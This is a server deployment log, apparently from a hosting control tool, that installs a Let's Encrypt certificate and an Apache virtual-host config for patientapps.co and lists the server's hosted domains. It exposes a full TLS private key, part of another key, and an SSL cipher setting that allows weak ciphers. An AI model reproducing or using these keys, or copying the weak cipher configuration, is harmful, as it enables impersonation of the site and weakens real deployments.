0KJvRIi0bSMUXCkUBRnYp7XFI2+TFL+YjQ3AChPnzfDYNeHsy3jYMnjJJ2aRPHeC
35tpcGaBb9pJCP9GU5NBLnI5GL6xmlBfpTAYsCy+zg/7QwsWCV+qLhkUK/88v4cC
XHBQpF0Z4GvbauPi6PwXjD2NYQKBgQC/C4T7VAePzY55wskPtH0tp/MbW6p0TC/C
2O4OfKQNFfQCpA5SI9ocJRmz+uCq3K93LUtPiSc/MjWoLc1eW99ECkc7XB8NRTEE
KW6jSD3qLu078tTV8sD2r2K4DQlCB76tzsHuC14Z3eRN4V/n1BhOCUmDjpr1CBXt
Dr/JcjvJ5wKBgAkpuMdv7fmAuitpUDYbbOhO7hSC4cJGOBcGw9GY2pVy2vrMwL7J
OJgOBH7JTX2EGVG0TuZ6kQiuSCinoaXpPZr/tD2qdIswLnAoaVzqPKC9uYGHhqCX
vWz1TPWfUMVztz8YIP1q3+1wUpysRjyYclMCQnC+M0BQylIGh5yUpFShAoGBAK9O
eMbPwuiYbYcZ0LpSmxOMLC8MnIt/Zcxcl4Y/paJEZNcPh/yj3X86JC3dps/jFjg8
HgFsD9GT11zuOqe9klCzRc4YqH3a4jG5e0bmAbqlORhrqhZxXdR/+AyAGeC3jqeb
NKWlVMJTtS4qA4GORIdHSmgoMdVriAMyJ5dI9cg9AoGBAPp0nm4G+udK5rgaimoV
IC1gXyl4mi1rtyQl7iHi70Vh/5ioA8F0YGBA27870PKoWmT3mYj2akKukbcgNMEC
AsM/tFFgWu1GjHgE8kF6OJVqseFVlg9kK0D6sMpaz6NNbb6haF5mOGZGLZ3vWA+s
Ix38bdzj2QTgEstywEvET4wo
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-28 06:00:22: Establishing a connection
2026-05-28 06:00:22: Establishing a connection
2026-05-28 06:00:22: 

PUT: /tmp/pkp531371

#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-28 06:00:23: 

chmod 755 /tmp/pkp531371; /tmp/pkp531371; rm /tmp/pkp531371

2026-05-28 06:00:23: 


0


2026-05-28 06:01:03: Establishing a connection
2026-05-28 06:01:03: 

PUT: /tmp/pkp394458

#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99.crt

cat > $temp_file <<'endmsg'
06:9e:ba:b8:8f:ef:aa:83:0a:b3:cf:c9:31:57:be:df

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBWbHD4SKImBotUShLmsfEg5ZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI4MDUwMjMyWhcNMjYwODI2MDUwMjMxWjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AOcrpXxcYZRNlLK2/2JhBODsA/ne1tylu5O304NsdSbRHFaKv4XnVzl43l+A6okR
ZgA6p2ZUsQM3azpoeTp11GXE69J3mytn7OXdpCnViWy9dZnbgEDB3vup5szMrDQH
NAl1iFdFPo3VFtORu828yZIEQE5PRlhiV4ULF/AJdWAuQNNWOJNk9mGcwML8SLZL
iTxAi00Rllf4QCwP6KXGCasNwmjiK9B/otjY1igffeP+cQzCTirREui6MbWKobc3
Jj11cvRWqZdCs0trvJglj4njPYBY94jTDtxLpls92gcBIXlvudhwXHTGTujPYTnF
aZNvZESYUd8CoNPskCw9JWcCAwEAAaOCAi0wggIpMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRhm+KL
RyYevACvp2aCj9xHKQPOyDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMCsGA1UdEQQkMCKCECoucGF0aWVudGFwcHMuY2+CDnBhdGllbnRhcHBz
LmNvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvOTAuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3
AHUAlE5Dh/rswe+B8xkkJqgYZQHH0184AgE/cmd9VTcuGdgAAAGebSwGqQAABAMA
RjBEAiB0VPYf/pkw67nPR2C/8VHCY95bstmQKhMr4PBo4dpWigIgJ7659cuqNm5/
eytSEb6H9O0I3uHXvsUu1x6l8BB27vAAfgCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPE
HdlteQCzEjxVJwAAAZ5tLAjhAAgAAAUADOmpagQDAEcwRQIhAIxEJo7ZJ7Z6Esa3
uF/ufE0k+bKRPw/N3D5aoBLNp5+mAiBKId0FvITze4vhi7zNUJhPayoVrnQDUnGf
6d77ossbMzANBgkqhkiG9w0BAQsFAAOCAQEAP96hDR/f+UBS0Y3F/nSlv6yvqSk/
KmykJWAWqWglwsbM+E/yfSJ/hm1GeCfb2OuvGbCGn8AfxeOXK1bjIJ1H7R3F6Mzo
YLtcgj1GXHl3fO/o/YIk7VJ4qW7i7NiKFz6WjF6Ipb2RS1SllWIu5PVRPyuCzkhM
+iFDjvs1D31rcyfuoK+WoR7JANQbLPPYzPfQeVwlNBiXeYOC+Yt2BFmpd3PRRbgv
ZMxlgFMe7SYVka3P5mEmudMuA/v7FjpEdQ01M6aa5AUHN8hApursl88rO8Sptvfj
szbRqmxStQO2foX9cf+oL5ZK39fXmeF15R4LvjtSyTD2Qi95BTUb/a0eAQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDnK6V8XGGUTZSy
tv9iYQTg7AP53tbcpbuTt9ODbHUm0RxWir+F51c5eN5fgOqJEWYAOqdmVLEDN2s6
aHk6ddRlxOvSd5srZ+zl3aQp1YlsvXWZ24BAwd77qebMzKw0BzQJdYhXRT6N1RbT
kbvNvMmSBEBOT0ZYYleFCxfwCXVgLkDTVjiTZPZhnMDC/Ei2S4k8QItNEZZX+EAs
D+ilxgmrDcJo4ivQf6LY2NYoH33j/nEMwk4q0RLoujG1iqG3NyY9dXL0VqmXQrNL
a7yYJY+J4z2AWPeI0w7cS6ZbPdoHASF5b7nYcFx0xk7oz2E5xWmTb2REmFHfAqDT
7JAsPSVnAgMBAAECggEAJcl+qCYO//JGh4gI6t3iXER4Hz9hGSQw1eP15m+zdAA5
L57ye5g7K8vUHaxcVMIhTZGeN3NJ6WAFCRZ2v9WZkyEYozNQi/cq7tAcu4c04C9/
/6xfpIuMQCWfnS5/n5Q7L1NPprmiO1uaUERsJySK68asyaAvvCwnE4+iqWatEbwY
3NjImtCM6B/Bb08nTkR4o1cMS2gPoezb5WQ3IO6YpOAcPUW30QX9ZP9CH2XC0bA0
WmFLfC01bcI4/FrC7NuBOwDQsW01FenOdZWfC1Mi6A3sTIoEMjehc1fjhtuiahjE
4c2tTFEHf+FDdQVU557Ul1x96qwrG+SSiRvGoEY5YQKBgQD9gJjcWH4+jaxiOKTp
/Mmf51u3f6Nu6lmHc7YXy2xhFPLFCmvr1ZJ4wD9SrIddoNvDhNf9HNAlaV2MP+T6
e3MNbIq+0LZkEVAnEyOrLb37cNSPJwxy62HSIp/hS+FF/KpYUp3KGcUC2ayxcwTz
qAGNl+BjjJlJD3Cin1GtF9E4mQKBgQDpcrjljTDOJb8KZdANAsv4aDnchZ6Thbpu
K+4DIvSqDHkNpkwR12NplzCorsCeQpXUCfBjwTbRGcrTR7UPYq0GvOPcR76j69aw
4FrR8E2GeuM2R49Q+eE9/hBa6GnqC0Ar+cjsyB/seH63CfsRanwdmV0z8R+y5FII
1tubNmYN/wKBgQCAuc9lfK5Gl2xkx/y+MLY1s6b4LCFSjj/+LzzVImAbgCay9dLN
g7sIBB9jnOZ0Hd3aj9eZ2Qq9JJ7zO/LLWuqWc3qU4KjtcXkxDl/7aZPiXW4ibyK8
LFiU+y4SmpR/FIlvpiwn1yQaiWxPA2gNTk/Tlb7E7j1cQzHf8mToL4L3aQKBgHDM
6UCqF4IUxRnOFlijGFHgcsz2l6gqvumLOoezdUtRmZCZ4TnhvHyB/JYVUqdl/yWk
484fx1AESXgLtxZHFNojnWqMFDb6txNiZR/6IEuxx2Yr77kt9MNSpy52DO91Hj3h
hU+8Z4iItJnXLcS9kllvCJUXlryHDIiO4TA/edKbAoGBAK56ACpy5UPCfa0K+vGb
KMhYUWBInJ8ARgyUW2doZ2chBkwNWFTfGBhybA/XBHyEFHF9hxhPGrWG8S5AFCv/
IqHKVEIyGyLbGNlk3V5XKFe3k8pltvdiuFuCEh/A2bD9lbu3NnfSF5dBYP2eIGBJ
HeUUvK25d3RlOcc3AZe1f/rr
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-28 06:01:04: 

chmod 755 /tmp/pkp394458; /tmp/pkp394458; rm /tmp/pkp394458

2026-05-28 06:01:04: 


dir=/etc/ssl/certs


2026-05-28 06:01:04: 

PUT: /tmp/pkp439432

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_www_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-28 06:01:04: 

chmod 755 /tmp/pkp439432; /tmp/pkp439432; rm /tmp/pkp439432

2026-05-28 06:01:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf 42

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-05-28 06:01:04: 

PUT: /tmp/pkp923467

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_www_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf= 1'
fi


2026-05-28 06:01:04: 

chmod 755 /tmp/pkp923467; /tmp/pkp923467; rm /tmp/pkp923467

2026-05-28 06:01:04: 




2026-05-28 06:01:04: 

PUT: /tmp/pkp608931

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-28 06:01:04: 

chmod 755 /tmp/pkp608931; /tmp/pkp608931; rm /tmp/pkp608931

2026-05-28 06:01:04: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-28 06:01:04: Establishing a connection
2026-05-28 06:01:04: 

PUT: /tmp/pkp121264

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-28 06:01:04: 

chmod 755 /tmp/pkp121264; /tmp/pkp121264; rm /tmp/pkp121264

2026-05-28 06:01:04: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-28 06:01:04: 

PUT: /tmp/pkp134733

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_www_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-28 06:01:04: 

chmod 755 /tmp/pkp134733; /tmp/pkp134733; rm /tmp/pkp134733

2026-05-28 06:01:04: 
(gzipped output)


